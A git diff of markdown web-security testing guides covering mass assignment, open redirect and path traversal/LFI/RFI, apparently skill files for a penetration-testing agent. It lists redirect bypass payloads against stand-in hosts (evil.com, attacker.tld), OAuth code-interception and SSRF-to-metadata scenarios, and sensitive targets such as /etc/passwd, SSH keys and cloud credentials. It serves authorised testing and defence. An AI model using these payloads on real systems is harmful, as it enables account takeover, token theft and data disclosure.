- Writable nested relations, sparse/patch updates, bulk endpoints
|
- Writable nested relations, sparse/patch updates, bulk endpoints
|
||||||
|
|
||||||
## Methodology
|
## Reconnaissance
|
||||||
|
|
||||||
1. Identify create/update endpoints and GraphQL mutations. Capture full server responses to observe returned fields.
|
|
||||||
2. Build a candidate list of sensitive attributes per resource: role/isAdmin/permissions, ownerId/accountId/tenantId, status/state, plan/price, limits/quotas, feature flags, verification flags, balance/credits.
|
|
||||||
3. Inject candidates alongside legitimate updates across transports and encodings; compare before/after state and diffs across roles.
|
|
||||||
4. Repeat with nested objects, arrays, and alternative shapes (dot/bracket notation, duplicate keys) and in batch operations.
|
|
||||||
|
|
||||||
## Discovery Techniques
|
|
||||||
|
|
||||||
### Surface Map
|
### Surface Map
|
||||||
|
|
||||||
- Controllers with automatic binding (e.g., request.json → model); GraphQL input types mirroring models; admin/staff tools exposed via API
|
- Controllers with automatic binding (e.g., request.json → model)
|
||||||
- OpenAPI/GraphQL schemas: uncover hidden fields or enums; SDKs often reveal writable fields
|
- GraphQL input types mirroring models; admin/staff tools exposed via API
|
||||||
|
- OpenAPI/GraphQL schemas: uncover hidden fields or enums
|
||||||
- Client bundles and mobile apps: inspect forms and mutation payloads for field names
|
- Client bundles and mobile apps: inspect forms and mutation payloads for field names
|
||||||
|
|
||||||
### Parameter Strategies
|
### Parameter Strategies
|
||||||
|
|
||||||
- Flat fields: isAdmin, role, roles[], permissions[], status, plan, tier, premium, verified, emailVerified
|
- Flat fields: `isAdmin`, `role`, `roles[]`, `permissions[]`, `status`, `plan`, `tier`, `premium`, `verified`, `emailVerified`
|
||||||
- Ownership/tenancy: userId, ownerId, accountId, organizationId, tenantId, workspaceId
|
- Ownership/tenancy: `userId`, `ownerId`, `accountId`, `organizationId`, `tenantId`, `workspaceId`
|
||||||
- Limits/quotas: usageLimit, seatCount, maxProjects, creditBalance
|
- Limits/quotas: `usageLimit`, `seatCount`, `maxProjects`, `creditBalance`
|
||||||
- Feature flags/gates: features, flags, betaAccess, allowImpersonation
|
- Feature flags/gates: `features`, `flags`, `betaAccess`, `allowImpersonation`
|
||||||
- Billing: price, amount, currency, prorate, nextInvoice, trialEnd
|
- Billing: `price`, `amount`, `currency`, `prorate`, `nextInvoice`, `trialEnd`
|
||||||
|
|
||||||
### Shape Variants
|
### Shape Variants
|
||||||
|
|
||||||
- Alternate shapes: arrays vs scalars; nested JSON; objects under unexpected keys
|
- Alternate shapes: arrays vs scalars; nested JSON; objects under unexpected keys
|
||||||
- Dot/bracket paths: profile.role, profile[role], settings[roles][]
|
- Dot/bracket paths: `profile.role`, `profile[role]`, `settings[roles][]`
|
||||||
- Duplicate keys and precedence: {"role":"user","role":"admin"}
|
- Duplicate keys and precedence: `{"role":"user","role":"admin"}`
|
||||||
- Sparse/patch formats: JSON Patch/JSON Merge Patch; try adding forbidden paths or replacing protected fields
|
- Sparse/patch formats: JSON Patch/JSON Merge Patch; try adding forbidden paths
|
||||||
|
|
||||||
### Encodings And Channels
|
### Encodings and Channels
|
||||||
|
|
||||||
- Content-types: application/json, application/x-www-form-urlencoded, multipart/form-data, text/plain (JSON via server coercion)
|
- Content-types: `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`
|
||||||
- GraphQL: add suspicious fields to input objects; overfetch response to detect changes
|
- GraphQL: add suspicious fields to input objects; overfetch response to detect changes
|
||||||
- Batch/bulk: arrays of objects; verify per-item allowlists not skipped
|
- Batch/bulk: arrays of objects; verify per-item allowlists not skipped
|
||||||
|
|
||||||
### Exploitation Techniques
|
## Key Vulnerabilities
|
||||||
|
|
||||||
#### Privilege Escalation
|
### Privilege Escalation
|
||||||
|
|
||||||
- Set role/isAdmin/permissions during signup/profile update; toggle admin/staff flags where exposed
|
- Set role/isAdmin/permissions during signup/profile update
|
||||||
|
- Toggle admin/staff flags where exposed
|
||||||
|
|
||||||
#### Ownership Takeover
|
### Ownership Takeover
|
||||||
|
|
||||||
- Change ownerId/accountId/tenantId to seize resources; move objects across users/tenants
|
- Change ownerId/accountId/tenantId to seize resources
|
||||||
|
- Move objects across users/tenants
|
||||||
|
|
||||||
#### Feature Gate Bypass
|
### Feature Gate Bypass
|
||||||
|
|
||||||
- Enable premium/beta/feature flags via flags/features fields; raise limits/seatCount/quotas
|
- Enable premium/beta/feature flags via flags/features fields
|
||||||
|
- Raise limits/seatCount/quotas
|
||||||
|
|
||||||
#### Billing And Entitlements
|
### Billing and Entitlements
|
||||||
|
|
||||||
- Modify plan/price/prorate/trialEnd or creditBalance; bypass server recomputation
|
- Modify plan/price/prorate/trialEnd or creditBalance
|
||||||
|
- Bypass server recomputation
|
||||||
|
|
||||||
#### Nested And Relation Writes
|
### Nested and Relation Writes
|
||||||
|
|
||||||
- Writable nested serializers or ORM relations allow creating or linking related objects beyond caller’s scope (e.g., attach to another user’s org)
|
- Writable nested serializers or ORM relations allow creating or linking related objects beyond caller's scope
|
||||||
|
|
||||||
#### Advanced Techniques
|
## Advanced Techniques
|
||||||
|
|
||||||
##### GraphQL Specific
|
### GraphQL Specific
|
||||||
|
|
||||||
- Field-level authz missing on input types: attempt forbidden fields in mutation inputs; combine with aliasing/batching to compare effects
|
- Field-level authz missing on input types: attempt forbidden fields in mutation inputs
|
||||||
|
- Combine with aliasing/batching to compare effects
|
||||||
- Use fragments to overfetch changed fields immediately after mutation
|
- Use fragments to overfetch changed fields immediately after mutation
|
||||||
|
|
||||||
##### Orm Framework Edges
|
### ORM Framework Edges
|
||||||
|
|
||||||
- Rails: strong parameters misconfig or deep nesting via accepts_nested_attributes_for
|
- **Rails**: strong parameters misconfig or deep nesting via `accepts_nested_attributes_for`
|
||||||
- Laravel: $fillable/$guarded misuses; guarded=[] opens all; casts mutating hidden fields
|
- **Laravel**: $fillable/$guarded misuses; `guarded=[]` opens all; casts mutating hidden fields
|
||||||
- Django REST Framework: writable nested serializer, read_only/extra_kwargs gaps, partial updates
|
- **Django REST Framework**: writable nested serializer, read_only/extra_kwargs gaps, partial updates
|
||||||
- Mongoose/Prisma: schema paths not filtered; select:false doesn’t prevent writes; upsert defaults
|
- **Mongoose/Prisma**: schema paths not filtered; `select:false` doesn't prevent writes; upsert defaults
|
||||||
|
|
||||||
##### Parser And Validator Gaps
|
### Parser and Validator Gaps
|
||||||
|
|
||||||
- Validators run post-bind and do not cover extra fields; unknown fields silently dropped in response but persisted underneath
|
- Validators run post-bind and do not cover extra fields
|
||||||
|
- Unknown fields silently dropped in response but persisted underneath
|
||||||
- Inconsistent allowlists between mobile/web/gateway; alt encodings bypass validation pipeline
|
- Inconsistent allowlists between mobile/web/gateway; alt encodings bypass validation pipeline
|
||||||
|
|
||||||
##### Bypass Techniques
|
## Bypass Techniques
|
||||||
|
|
||||||
###### Content Type Switching
|
### Content-Type Switching
|
||||||
|
|
||||||
- Switch JSON ↔ form-encoded ↔ multipart ↔ text/plain; some code paths only validate one
|
- Switch JSON ↔ form-encoded ↔ multipart ↔ text/plain; some code paths only validate one
|
||||||
|
|
||||||
###### Key Path Variants
|
### Key Path Variants
|
||||||
|
|
||||||
- Dot/bracket/object re-shaping to reach nested fields through different binders
|
- Dot/bracket/object re-shaping to reach nested fields through different binders
|
||||||
|
|
||||||
###### Batch Paths
|
### Batch Paths
|
||||||
|
|
||||||
- Per-item checks skipped in bulk operations; insert a single malicious object within a large batch
|
- Per-item checks skipped in bulk operations
|
||||||
|
- Insert a single malicious object within a large batch
|
||||||
|
|
||||||
###### Race And Reorder
|
### Race and Reorder
|
||||||
|
|
||||||
- Race two updates: first sets forbidden field, second normalizes; final state may retain forbidden change
|
- Race two updates: first sets forbidden field, second normalizes
|
||||||
|
- Final state may retain forbidden change
|
||||||
|
|
||||||
###### Validation
|
## Testing Methodology
|
||||||
|
|
||||||
1. Show a minimal request where adding a sensitive field changes persisted state for a non-privileged caller.
|
1. **Identify endpoints** - Create/update endpoints and GraphQL mutations
|
||||||
2. Provide before/after evidence (response body, subsequent GET, or GraphQL query) proving the forbidden attribute value.
|
2. **Capture responses** - Observe returned fields to build candidate list
|
||||||
3. Demonstrate consistency across at least two encodings or channels.
|
3. **Build sensitive-field dictionary** - Per resource: role, isAdmin, ownerId, status, plan, limits, flags
|
||||||
4. For nested/bulk, show that protected fields are written within child objects or array elements.
|
4. **Inject candidates** - Alongside legitimate updates across transports and encodings
|
||||||
5. Quantify impact (e.g., role flip, cross-tenant move, quota increase) and reproducibility.
|
5. **Compare state** - Before/after diffs across roles
|
||||||
|
6. **Test variations** - Nested objects, arrays, alternative shapes, duplicate keys, batch operations
|
||||||
|
|
||||||
###### False Positives
|
## Validation
|
||||||
|
|
||||||
|
1. Show a minimal request where adding a sensitive field changes persisted state for a non-privileged caller
|
||||||
|
2. Provide before/after evidence (response body, subsequent GET, or GraphQL query) proving the forbidden attribute value
|
||||||
|
3. Demonstrate consistency across at least two encodings or channels
|
||||||
|
4. For nested/bulk, show that protected fields are written within child objects or array elements
|
||||||
|
5. Quantify impact (e.g., role flip, cross-tenant move, quota increase) and reproducibility
|
||||||
|
|
||||||
|
## False Positives
|
||||||
|
|
||||||
- Server recomputes derived fields (plan/price/role) ignoring client input
|
- Server recomputes derived fields (plan/price/role) ignoring client input
|
||||||
- Fields marked read-only and enforced consistently across encodings
|
- Fields marked read-only and enforced consistently across encodings
|
||||||
- Only UI-side changes with no persisted effect
|
- Only UI-side changes with no persisted effect
|
||||||
|
|
||||||
###### Impact
|
## Impact
|
||||||
|
|
||||||
- Privilege escalation and admin feature access
|
- Privilege escalation and admin feature access
|
||||||
- Cross-tenant or cross-account resource takeover
|
- Cross-tenant or cross-account resource takeover
|
||||||
- Financial/billing manipulation and quota abuse
|
- Financial/billing manipulation and quota abuse
|
||||||
- Policy/approval bypass by toggling verification or status flags
|
- Policy/approval bypass by toggling verification or status flags
|
||||||
|
|
||||||
###### Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Build a sensitive-field dictionary per resource and fuzz systematically.
|
1. Build a sensitive-field dictionary per resource and fuzz systematically
|
||||||
2. Always try alternate shapes and encodings; many validators are shape/CT-specific.
|
2. Always try alternate shapes and encodings; many validators are shape/CT-specific
|
||||||
3. For GraphQL, diff the resource immediately after mutation; effects are often visible even if the mutation returns filtered fields.
|
3. For GraphQL, diff the resource immediately after mutation; effects are often visible even if the mutation returns filtered fields
|
||||||
4. Inspect SDKs/mobile apps for hidden field names and nested write examples.
|
4. Inspect SDKs/mobile apps for hidden field names and nested write examples
|
||||||
5. Prefer minimal PoCs that prove durable state changes; avoid UI-only effects.
|
5. Prefer minimal PoCs that prove durable state changes; avoid UI-only effects
|
||||||
|
|
||||||
###### Mitigations
|
## Summary
|
||||||
|
|
||||||
- Enforce server-side allowlists per operation and role; deny unknown fields by default
|
|
||||||
- Separate input DTOs from domain models; map explicitly
|
|
||||||
- Recompute derived fields (role/plan/owner) from trusted context; ignore client values
|
|
||||||
- Lock nested writes to owned resources; validate foreign keys against caller scope
|
|
||||||
- For GraphQL, use input types that expose only permitted fields and enforce resolver-level checks
|
|
||||||
|
|
||||||
###### Remember
|
|
||||||
|
|
||||||
Mass assignment is eliminated by explicit mapping and per-field authorization. Treat every client-supplied attribute—especially nested or batch inputs—as untrusted until validated against an allowlist and caller scope.
|
Mass assignment is eliminated by explicit mapping and per-field authorization. Treat every client-supplied attribute—especially nested or batch inputs—as untrusted until validated against an allowlist and caller scope.
|
||||||
|
|||||||
@@ -1,178 +1,165 @@
|
|||||||
# OPEN REDIRECT
|
---
|
||||||
|
name: open-redirect
|
||||||
|
description: Open redirect testing for phishing pivots, OAuth token theft, and allowlist bypass
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# Open Redirect
|
||||||
|
|
||||||
Open redirects enable phishing, OAuth/OIDC code and token theft, and allowlist bypass in server-side fetchers that follow redirects. Treat every redirect target as untrusted: canonicalize and enforce exact allowlists per scheme, host, and path.
|
Open redirects enable phishing, OAuth/OIDC code and token theft, and allowlist bypass in server-side fetchers that follow redirects. Treat every redirect target as untrusted: canonicalize and enforce exact allowlists per scheme, host, and path.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
- Server-driven redirects (HTTP 3xx Location) and client-driven redirects (window.location, meta refresh, SPA routers)
|
**Server-Driven Redirects**
|
||||||
- OAuth/OIDC/SAML flows using redirect_uri, post_logout_redirect_uri, RelayState, returnTo/continue/next
|
- HTTP 3xx Location
|
||||||
- Multi-hop chains where only the first hop is validated
|
|
||||||
- Allowlist/canonicalization bypasses across URL parsers and reverse proxies
|
|
||||||
|
|
||||||
## Methodology
|
**Client-Driven Redirects**
|
||||||
|
- `window.location`, meta refresh, SPA routers
|
||||||
|
|
||||||
1. Inventory all redirect surfaces: login/logout, password reset, SSO/OAuth flows, payment gateways, email links, invite/verification, unsubscribe, language/locale switches, /out or /r redirectors.
|
**OAuth/OIDC/SAML Flows**
|
||||||
2. Build a test matrix of scheme×host×path variants and encoding/unicode forms. Compare server-side validation vs browser navigation results.
|
- `redirect_uri`, `post_logout_redirect_uri`, `RelayState`, `returnTo`/`continue`/`next`
|
||||||
3. Exercise multi-hop: trusted-domain → redirector → external. Verify if validation applies pre- or post-redirect.
|
|
||||||
4. Prove impact: credential phishing, OAuth code interception, internal egress (if a server fetcher follows redirects).
|
|
||||||
|
|
||||||
## Discovery Techniques
|
**Multi-Hop Chains**
|
||||||
|
- Only first hop validated
|
||||||
|
|
||||||
|
## High-Value Targets
|
||||||
|
|
||||||
|
- Login/logout, password reset, SSO/OAuth flows
|
||||||
|
- Payment gateways, email links, invite/verification
|
||||||
|
- Unsubscribe, language/locale switches
|
||||||
|
- `/out` or `/r` redirectors
|
||||||
|
|
||||||
|
## Reconnaissance
|
||||||
|
|
||||||
### Injection Points
|
### Injection Points
|
||||||
|
|
||||||
- Params: redirect, url, next, return_to, returnUrl, continue, goto, target, callback, out, dest, back, to, r, u
|
- Params: `redirect`, `url`, `next`, `return_to`, `returnUrl`, `continue`, `goto`, `target`, `callback`, `out`, `dest`, `back`, `to`, `r`, `u`
|
||||||
- OAuth/OIDC/SAML: redirect_uri, post_logout_redirect_uri, RelayState, state (if used to compute final destination)
|
- OAuth/OIDC/SAML: `redirect_uri`, `post_logout_redirect_uri`, `RelayState`, `state`
|
||||||
- SPA: router.push/replace, location.assign/href, meta refresh, window.open
|
- SPA: `router.push`/`replace`, `location.assign`/`href`, meta refresh, `window.open`
|
||||||
- Headers influencing construction: Host, X-Forwarded-Host/Proto, Referer; and server-side Location echo
|
- Headers: `Host`, `X-Forwarded-Host`/`Proto`, `Referer`; server-side Location echo
|
||||||
|
|
||||||
### Parser Differentials
|
### Parser Differentials
|
||||||
|
|
||||||
#### Userinfo
|
**Userinfo**
|
||||||
|
- `https://trusted.com@evil.com` → validators parse host as trusted.com, browser navigates to evil.com
|
||||||
|
- Variants: `trusted.com%40evil.com`, `a%40evil.com%40trusted.com`
|
||||||
|
|
||||||
https://trusted.com@evil.com → many validators parse host as trusted.com, browser navigates to evil.com
|
**Backslash and Slashes**
|
||||||
Variants: trusted.com%40evil.com, a%40evil.com%40trusted.com
|
- `https://trusted.com\evil.com`, `https://trusted.com\@evil.com`, `///evil.com`, `/\evil.com`
|
||||||
|
|
||||||
#### Backslash And Slashes
|
**Whitespace and Control**
|
||||||
|
- `http%09://evil.com`, `http%0A://evil.com`, `trusted.com%09evil.com`
|
||||||
|
|
||||||
https://trusted.com\\evil.com, https://trusted.com\\@evil.com, ///evil.com, /\\evil.com
|
**Fragment and Query**
|
||||||
Windows/backends may normalize \\ to /; browsers differ on interpretation of extra leading slashes
|
- `trusted.com#@evil.com`, `trusted.com?//@evil.com`, `?next=//evil.com#@trusted.com`
|
||||||
|
|
||||||
#### Whitespace And Ctrl
|
**Unicode and IDNA**
|
||||||
|
- Punycode/IDN: `truѕted.com` (Cyrillic), `trusted.com。evil.com` (full-width dot), trailing dot
|
||||||
http%09://evil.com, http%0A://evil.com, trusted.com%09evil.com
|
|
||||||
Control/whitespace around the scheme/host can split parsers
|
|
||||||
|
|
||||||
#### Fragment And Query
|
|
||||||
|
|
||||||
trusted.com#@evil.com, trusted.com?//@evil.com, ?next=//evil.com#@trusted.com
|
|
||||||
Validators often stop at # while the browser parses after it
|
|
||||||
|
|
||||||
#### Unicode And Idna
|
|
||||||
|
|
||||||
Punycode/IDN: truѕted.com (Cyrillic), trusted.com。evil.com (full-width dot), trailing dot trusted.com.
|
|
||||||
Test with mixed Unicode normalization and IDNA conversion
|
|
||||||
|
|
||||||
### Encoding Bypasses
|
### Encoding Bypasses
|
||||||
|
|
||||||
- Double encoding: %2f%2fevil.com, %252f%252fevil.com
|
- Double encoding: `%2f%2fevil.com`, `%252f%252fevil.com`
|
||||||
- Mixed case and scheme smuggling: hTtPs://evil.com, http:evil.com
|
- Mixed case and scheme smuggling: `hTtPs://evil.com`, `http:evil.com`
|
||||||
- IP variants: decimal 2130706433, octal 0177.0.0.1, hex 0x7f.1, IPv6 [::ffff:127.0.0.1]
|
- IP variants: decimal 2130706433, octal 0177.0.0.1, hex 0x7f.1, IPv6 `[::ffff:127.0.0.1]`
|
||||||
- User-controlled path bases: /out?url=/\\evil.com
|
- User-controlled path bases: `/out?url=/\evil.com`
|
||||||
|
|
||||||
## Allowlist Evasion
|
## Key Vulnerabilities
|
||||||
|
|
||||||
### Common Mistakes
|
### Allowlist Evasion
|
||||||
|
|
||||||
- Substring/regex contains checks: allows trusted.com.evil.com, or path matches leaking external
|
**Common Mistakes**
|
||||||
- Wildcards: *.trusted.com also matches attacker.trusted.com.evil.net
|
- Substring/regex contains checks: allows `trusted.com.evil.com`
|
||||||
- Missing scheme pinning: data:, javascript:, file:, gopher: accepted
|
- Wildcards: `*.trusted.com` also matches `attacker.trusted.com.evil.net`
|
||||||
|
- Missing scheme pinning: `data:`, `javascript:`, `file:`, `gopher:` accepted
|
||||||
- Case/IDN drift between validator and browser
|
- Case/IDN drift between validator and browser
|
||||||
|
|
||||||
### Robust Validation
|
**Robust Validation**
|
||||||
|
- Canonicalize with a single modern URL parser (WHATWG URL)
|
||||||
|
- Compare exact scheme, hostname (post-IDNA), and an explicit allowlist with optional exact path prefixes
|
||||||
|
- Require absolute HTTPS; reject protocol-relative `//` and unknown schemes
|
||||||
|
|
||||||
- Canonicalize with a single modern URL parser (WHATWG URL) and compare exact scheme, hostname (post-IDNA), and an explicit allowlist with optional exact path prefixes
|
### OAuth/OIDC/SAML
|
||||||
- Require absolute HTTPS; reject protocol-relative // and unknown schemes
|
|
||||||
- Normalize and compare after following zero redirects only; if following, re-validate the final destination per hop server-side
|
|
||||||
|
|
||||||
## Oauth Oidc Saml
|
|
||||||
|
|
||||||
### Redirect Uri Abuse
|
|
||||||
|
|
||||||
|
**Redirect URI Abuse**
|
||||||
- Using an open redirect on a trusted domain for redirect_uri enables code interception
|
- Using an open redirect on a trusted domain for redirect_uri enables code interception
|
||||||
- Weak prefix/suffix checks: https://trusted.com → https://trusted.com.evil.com; /callback → /callback@evil.com
|
- Weak prefix/suffix checks: `https://trusted.com` → `https://trusted.com.evil.com`
|
||||||
- Path traversal/canonicalization: /oauth/../../@evil.com
|
- Path traversal/canonicalization: `/oauth/../../@evil.com`
|
||||||
- post_logout_redirect_uri often less strictly validated; test both
|
- `post_logout_redirect_uri` often less strictly validated
|
||||||
- state must be unguessable and bound to client/session; do not recompute final destination from state without validation
|
|
||||||
|
|
||||||
### Defense Notes
|
### Client-Side Vectors
|
||||||
|
|
||||||
- Pre-register exact redirect_uri values per client (no wildcards). Enforce exact scheme/host/port/path match
|
**JavaScript Redirects**
|
||||||
- For public native apps, follow RFC guidance (loopback 127.0.0.1 with exact port handling); disallow open web redirectors
|
- `location.href`/`assign`/`replace` using user input
|
||||||
- SAML RelayState should be validated against an allowlist or ignored for absolute URLs
|
- Meta refresh `content=0;url=USER_INPUT`
|
||||||
|
- SPA routers: `router.push(searchParams.get('next'))`
|
||||||
|
|
||||||
## Client Side Vectors
|
### Reverse Proxies and Gateways
|
||||||
|
|
||||||
### Javascript Redirects
|
- Host/X-Forwarded-* may change absolute URL construction
|
||||||
|
- CDNs that follow redirects for link checking can leak tokens when chained
|
||||||
|
|
||||||
- location.href/assign/replace using user input; ensure targets are normalized and restricted to same-origin or allowlist
|
### SSRF Chaining
|
||||||
- meta refresh content=0;url=USER_INPUT; browsers treat javascript:/data: differently; still dangerous in client-controlled redirects
|
|
||||||
- SPA routers: router.push(searchParams.get('next')); enforce same-origin and strip schemes
|
|
||||||
|
|
||||||
## Reverse Proxies And Gateways
|
- Server-side fetchers (web previewers, link unfurlers) follow 3xx
|
||||||
|
- Combine with an open redirect on an allowlisted domain to pivot to internal targets (169.254.169.254, localhost)
|
||||||
- Host/X-Forwarded-* may change absolute URL construction; validate against server-derived canonical origin, not client headers
|
|
||||||
- CDNs that follow redirects for link checking or prefetching can leak tokens when chained with open redirects
|
|
||||||
|
|
||||||
## Ssrf Chaining
|
|
||||||
|
|
||||||
- Some server-side fetchers (web previewers, link unfurlers, validators) follow 3xx; combine with an open redirect on an allowlisted domain to pivot to internal targets (169.254.169.254, localhost, cluster addresses)
|
|
||||||
- Confirm by observing distinct error/timing for internal vs external, or OAST callbacks when reachable
|
|
||||||
|
|
||||||
## Framework Notes
|
|
||||||
|
|
||||||
### Server Side
|
|
||||||
|
|
||||||
- Rails: redirect_to params[:url] without URI parsing; test array params and protocol-relative
|
|
||||||
- Django: HttpResponseRedirect(request.GET['next']) without is_safe_url; relies on ALLOWED_HOSTS + scheme checks
|
|
||||||
- Spring: return "redirect:" + param; ensure UriComponentsBuilder normalization and allowlist
|
|
||||||
- Express: res.redirect(req.query.url); use a safe redirect helper enforcing relative paths or a vetted allowlist
|
|
||||||
|
|
||||||
### Client Side
|
|
||||||
|
|
||||||
- React/Next.js/Vue/Angular routing based on URLSearchParams; ensure same-origin policy and disallow external schemes in client code
|
|
||||||
|
|
||||||
## Exploitation Scenarios
|
## Exploitation Scenarios
|
||||||
|
|
||||||
### Oauth Code Interception
|
### OAuth Code Interception
|
||||||
|
|
||||||
1. Set redirect_uri to https://trusted.example/out?url=https://attacker.tld/cb
|
1. Set redirect_uri to `https://trusted.example/out?url=https://attacker.tld/cb`
|
||||||
2. IdP sends code to trusted.example which redirects to attacker.tld
|
2. IdP sends code to trusted.example which redirects to attacker.tld
|
||||||
3. Exchange code for tokens; demonstrate account access
|
3. Exchange code for tokens; demonstrate account access
|
||||||
|
|
||||||
### Phishing Flow
|
### Phishing Flow
|
||||||
|
|
||||||
1. Send link on trusted domain: /login?next=https://attacker.tld/fake
|
1. Send link on trusted domain: `/login?next=https://attacker.tld/fake`
|
||||||
2. Victim authenticates; browser navigates to attacker page
|
2. Victim authenticates; browser navigates to attacker page
|
||||||
3. Capture credentials/tokens via cloned UI or injected JS
|
3. Capture credentials/tokens via cloned UI
|
||||||
|
|
||||||
### Internal Evasion
|
### Internal Evasion
|
||||||
|
|
||||||
1. Server-side link unfurler fetches https://trusted.example/out?u=http://169.254.169.254/latest/meta-data
|
1. Server-side link unfurler fetches `https://trusted.example/out?u=http://169.254.169.254/latest/meta-data`
|
||||||
2. Redirect follows to metadata; confirm via timing/headers or controlled endpoints
|
2. Redirect follows to metadata; confirm via timing/headers
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Inventory surfaces** - Login/logout, password reset, SSO/OAuth flows, payment gateways, email links
|
||||||
|
2. **Build test matrix** - Scheme × host × path variants and encoding/unicode forms
|
||||||
|
3. **Compare behaviors** - Server-side validation vs browser navigation results
|
||||||
|
4. **Multi-hop testing** - Trusted-domain → redirector → external
|
||||||
|
5. **Prove impact** - Credential phishing, OAuth code interception, internal egress
|
||||||
|
|
||||||
## Validation
|
## Validation
|
||||||
|
|
||||||
1. Produce a minimal URL that navigates to an external domain via the vulnerable surface; include the full address bar capture.
|
1. Produce a minimal URL that navigates to an external domain via the vulnerable surface; include the full address bar capture
|
||||||
2. Show bypass of the stated validation (regex/allowlist) using canonicalization variants.
|
2. Show bypass of the stated validation (regex/allowlist) using canonicalization variants
|
||||||
3. Test multi-hop: prove only first hop is validated and second hop escapes constraints.
|
3. Test multi-hop: prove only first hop is validated and second hop escapes constraints
|
||||||
4. For OAuth/SAML, demonstrate code/RelayState delivery to an attacker-controlled endpoint with role-separated evidence.
|
4. For OAuth/SAML, demonstrate code/RelayState delivery to an attacker-controlled endpoint
|
||||||
|
|
||||||
## False Positives
|
## False Positives
|
||||||
|
|
||||||
- Redirects constrained to relative same-origin paths with robust normalization
|
- Redirects constrained to relative same-origin paths with robust normalization
|
||||||
- Exact pre-registered OAuth redirect_uri with strict verifier
|
- Exact pre-registered OAuth redirect_uri with strict verifier
|
||||||
- Validators using a single canonical parser and comparing post-IDNA host and scheme
|
- Validators using a single canonical parser and comparing post-IDNA host and scheme
|
||||||
- User prompts that show the exact final destination before navigating and refuse unknown schemes
|
- User prompts that show the exact final destination before navigating
|
||||||
|
|
||||||
## Impact
|
## Impact
|
||||||
|
|
||||||
- Credential and token theft via phishing and OAuth/OIDC interception
|
- Credential and token theft via phishing and OAuth/OIDC interception
|
||||||
- Internal data exposure when server fetchers follow redirects (previewers/unfurlers)
|
- Internal data exposure when server fetchers follow redirects
|
||||||
- Policy bypass where allowlists are enforced only on the first hop
|
- Policy bypass where allowlists are enforced only on the first hop
|
||||||
- Cross-application trust erosion and brand abuse
|
- Cross-application trust erosion and brand abuse
|
||||||
|
|
||||||
## Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Always compare server-side canonicalization to real browser navigation; differences reveal bypasses.
|
1. Always compare server-side canonicalization to real browser navigation; differences reveal bypasses
|
||||||
2. Try userinfo, protocol-relative, Unicode/IDN, and IP numeric variants early; they catch many weak validators.
|
2. Try userinfo, protocol-relative, Unicode/IDN, and IP numeric variants early
|
||||||
3. In OAuth, prioritize post_logout_redirect_uri and less-discussed flows; they’re often looser.
|
3. In OAuth, prioritize `post_logout_redirect_uri` and less-discussed flows; they're often looser
|
||||||
4. Exercise multi-hop across distinct subdomains and paths; validators commonly check only hop 1.
|
4. Exercise multi-hop across distinct subdomains and paths
|
||||||
5. For SSRF chaining, target services known to follow redirects and log their outbound requests.
|
5. For SSRF chaining, target services known to follow redirects
|
||||||
6. Favor allowlists of exact origins plus optional path prefixes; never substring/regex contains checks.
|
6. Favor allowlists of exact origins plus optional path prefixes
|
||||||
7. Keep a curated suite of redirect payloads per runtime (Java, Node, Python, Go) reflecting each parser’s quirks.
|
7. Keep a curated suite of redirect payloads per runtime (Java, Node, Python, Go)
|
||||||
|
|
||||||
## Remember
|
## Summary
|
||||||
|
|
||||||
Redirection is safe only when the final destination is constrained after canonicalization. Enforce exact origins, verify per hop, and treat client-provided destinations as untrusted across every stack.
|
Redirection is safe only when the final destination is constrained after canonicalization. Enforce exact origins, verify per hop, and treat client-provided destinations as untrusted across every stack.
|
||||||
|
|||||||
@@ -1,30 +1,48 @@
|
|||||||
# PATH TRAVERSAL, LFI, AND RFI
|
---
|
||||||
|
name: path-traversal-lfi-rfi
|
||||||
|
description: Path traversal and file inclusion testing for local/remote file access and code execution
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# Path Traversal / LFI / RFI
|
||||||
|
|
||||||
Improper file path handling and dynamic inclusion enable sensitive file disclosure, config/source leakage, SSRF pivots, and code execution. Treat all user-influenced paths, names, and schemes as untrusted; normalize and bind them to an allowlist or eliminate user control entirely.
|
Improper file path handling and dynamic inclusion enable sensitive file disclosure, config/source leakage, SSRF pivots, and code execution. Treat all user-influenced paths, names, and schemes as untrusted; normalize and bind them to an allowlist or eliminate user control entirely.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
- Path traversal: read files outside intended roots via ../, encoding, normalization gaps
|
**Path Traversal**
|
||||||
- Local File Inclusion (LFI): include server-side files into interpreters/templates
|
- Read files outside intended roots via `../`, encoding, normalization gaps
|
||||||
- Remote File Inclusion (RFI): include remote resources (HTTP/FTP/wrappers) for code execution
|
|
||||||
- Archive extraction traversal (Zip Slip): write outside target directory upon unzip/untar
|
**Local File Inclusion (LFI)**
|
||||||
- Server/proxy normalization mismatches (nginx alias/root, upstream decoders)
|
- Include server-side files into interpreters/templates
|
||||||
|
|
||||||
|
**Remote File Inclusion (RFI)**
|
||||||
|
- Include remote resources (HTTP/FTP/wrappers) for code execution
|
||||||
|
|
||||||
|
**Archive Extraction**
|
||||||
|
- Zip Slip: write outside target directory upon unzip/untar
|
||||||
|
|
||||||
|
**Normalization Mismatches**
|
||||||
|
- Server/proxy differences (nginx alias/root, upstream decoders)
|
||||||
- OS-specific paths: Windows separators, device names, UNC, NT paths, alternate data streams
|
- OS-specific paths: Windows separators, device names, UNC, NT paths, alternate data streams
|
||||||
|
|
||||||
## Methodology
|
## High-Value Targets
|
||||||
|
|
||||||
1. Inventory all file operations: downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors.
|
**Unix**
|
||||||
2. Identify input joins: path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations.
|
- `/etc/passwd`, `/etc/hosts`, application `.env`/`config.yaml`
|
||||||
3. Probe normalization and resolution: separators, encodings, double-decodes, case, trailing dots/slashes; compare web server vs application behavior.
|
- SSH keys, cloud creds, service configs/logs
|
||||||
4. Escalate from disclosure (read) to influence (write/extract/include), then to execution (wrapper/engine chains).
|
|
||||||
|
|
||||||
## Discovery Techniques
|
**Windows**
|
||||||
|
- `C:\Windows\win.ini`, IIS/web.config, programdata configs, application logs
|
||||||
|
|
||||||
|
**Application**
|
||||||
|
- Source code templates and server-side includes
|
||||||
|
- Secrets in env dumps, framework caches
|
||||||
